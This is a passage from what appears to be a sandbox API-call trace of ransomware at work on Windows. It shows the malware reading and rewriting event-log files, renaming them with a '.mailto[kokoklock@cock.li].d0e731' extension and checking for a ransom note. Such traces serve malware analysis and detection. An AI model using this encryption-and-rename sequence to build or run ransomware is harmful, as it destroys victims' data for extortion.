"c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.872] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.872] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb76f858 | out: lpFileSize=0xb76f858*=69824) returned 1 [0167.872] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.872] ReadFile (in: hFile=0x528, lpBuffer=0xb76f82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0xb76f82c*, lpNumberOfBytesRead=0xb76f828*=0x4, lpOverlapped=0x0) returned 1 [0167.873] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96908 [0167.873] NtQuerySystemTime (in: CurrentTime=0xb76f804 | out: CurrentTime=0xb76f804*=132121213251939166) returned 0x0 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xd38f2091 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x1c9a543a [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xac23606c [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xad4762f7 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x4750e40c [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xd40b1db1 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x8ce6efe2 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x62fff0ec [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x58e56327 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xf723b366 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x924fcfba [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x8bdbe8e4 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x1654ca9d [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xb909663d [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x45faac5b [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x1b14ac06 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x24e524bb [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x6936e15e [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x87c46b3e [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x7c5a8b48 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x1f84fb27 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x6d9e67b3 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xc991f4e2 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x31d0e362 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xfdd7613f [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x56e64842 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x63dc071a [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x6bec6f36 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x1771796c [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xe482fe95 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0xb1f0f951 [0167.874] RtlRandom (in: Seed=0xb76f810 | out: Seed=0xb76f810) returned 0x740cbb73 [0167.883] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.885] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.885] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.885] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.885] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb76f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb76f7dc*=0x4096, lpOverlapped=0x0) returned 1 [0167.886] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.887] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.887] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96930 [0167.887] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96958 [0167.887] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96958) returned 1 [0167.887] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.887] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.887] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb76f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb76f7dc*=0x4096, lpOverlapped=0x0) returned 1 [0167.887] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.887] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.887] WriteFile (in: hFile=0x528, lpBuffer=0x2f96930*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb76f814, lpOverlapped=0x0 | out: lpBuffer=0x2f96930*, lpNumberOfBytesWritten=0xb76f814*=0x20, lpOverlapped=0x0) returned 1 [0167.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96930) returned 1 [0167.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb76f828*=0x8, lpOverlapped=0x0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0xb76f840*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0xb76f840*, lpNumberOfBytesWritten=0xb76f828*=0x4, lpOverlapped=0x0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb76f828*=0x4, lpOverlapped=0x0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb76f828*=0x6c, lpOverlapped=0x0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb76f828*=0x20, lpOverlapped=0x0) returned 1 [0167.888] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb76f828, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb76f828*=0x4, lpOverlapped=0x0) returned 1 [0167.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.888] CloseHandle (hObject=0x528) returned 1 [0167.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95908 [0167.889] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.889] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.889] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.890] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0167.890] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.890] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.890] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.890] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.890] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e600) returned 1 [0167.890] RtlExitUserThread (Status=0x1) Thread: id = 1680 os_tid = 0xa00 [0167.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.892] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.892] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.892] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb7efcb0 | out: lpFileSize=0xb7efcb0*=69824) returned 1 [0167.892] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.892] ReadFile (in: hFile=0x528, lpBuffer=0xb7efc84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0xb7efc84*, lpNumberOfBytesRead=0xb7efc80*=0x4, lpOverlapped=0x0) returned 1 [0167.893] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96930 [0167.893] NtQuerySystemTime (in: CurrentTime=0xb7efc5c | out: CurrentTime=0xb7efc5c*=132121213252095503) returned 0x0 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x64a070ba [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xc7f53aad [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x8c27a641 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xc31856a2 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x8e182960 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x85f4f664 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x7e136d4a [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x5277bbd3 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x2aa7dfbb [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x7bd559bb [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xe3a27dc8 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xa746d7c4 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x217a9095 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x8bbba577 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x7413c486 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x11f16809 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x105cf997 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x2317ca7 [0167.893] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x957277b9 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xa2bc0da5 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xc7208140 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xd2c6cc54 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x93b6331c [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0xba6e9efd [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x4bd5cf2a [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x9ca0bc4b [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x3feca22e [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x505cd625 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x29d26fd6 [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x5eca87fd [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x8791f40d [0167.894] RtlRandom (in: Seed=0xb7efc68 | out: Seed=0xb7efc68) returned 0x9d58847f [0167.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.905] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.905] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.905] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.905] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.905] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb7efc34, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb7efc34*=0x4096, lpOverlapped=0x0) returned 1 [0167.906] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96958 [0167.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96980 [0167.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96980) returned 1 [0167.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.906] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb7efc34, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb7efc34*=0x4096, lpOverlapped=0x0) returned 1 [0167.907] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.907] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.907] WriteFile (in: hFile=0x528, lpBuffer=0x2f96958*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb7efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f96958*, lpNumberOfBytesWritten=0xb7efc6c*=0x20, lpOverlapped=0x0) returned 1 [0167.907] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96958) returned 1 [0167.907] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.907] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb7efc80*=0x8, lpOverlapped=0x0) returned 1 [0167.907] WriteFile (in: hFile=0x528, lpBuffer=0xb7efc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0xb7efc98*, lpNumberOfBytesWritten=0xb7efc80*=0x4, lpOverlapped=0x0) returned 1 [0167.907] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb7efc80*=0x4, lpOverlapped=0x0) returned 1 [0167.908] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb7efc80*=0x6c, lpOverlapped=0x0) returned 1 [0167.908] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb7efc80*=0x20, lpOverlapped=0x0) returned 1 [0167.908] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7efc80, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb7efc80*=0x4, lpOverlapped=0x0) returned 1 [0167.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.908] CloseHandle (hObject=0x528) returned 1 [0167.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6d068 [0167.908] wcscpy (in: _Dest=0x2f6d068, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.908] wcscat (in: _Dest=0x2f6d068, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.908] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.909] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d068) returned 1 [0167.909] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3848 [0167.909] wcscpy (in: _Dest=0x2fe3848, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.909] wcscat (in: _Dest=0x2fe3848, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.909] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3848) returned 1 [0167.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f893b8) returned 1 [0167.910] RtlExitUserThread (Status=0x1) Thread: id = 1681 os_tid = 0x81c [0167.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.911] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.911] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.911] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb86fba8 | out: lpFileSize=0xb86fba8*=69824) returned 1 [0167.911] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.912] ReadFile (in: hFile=0x528, lpBuffer=0xb86fb7c, nNumberOfBytesToRead=0x4, 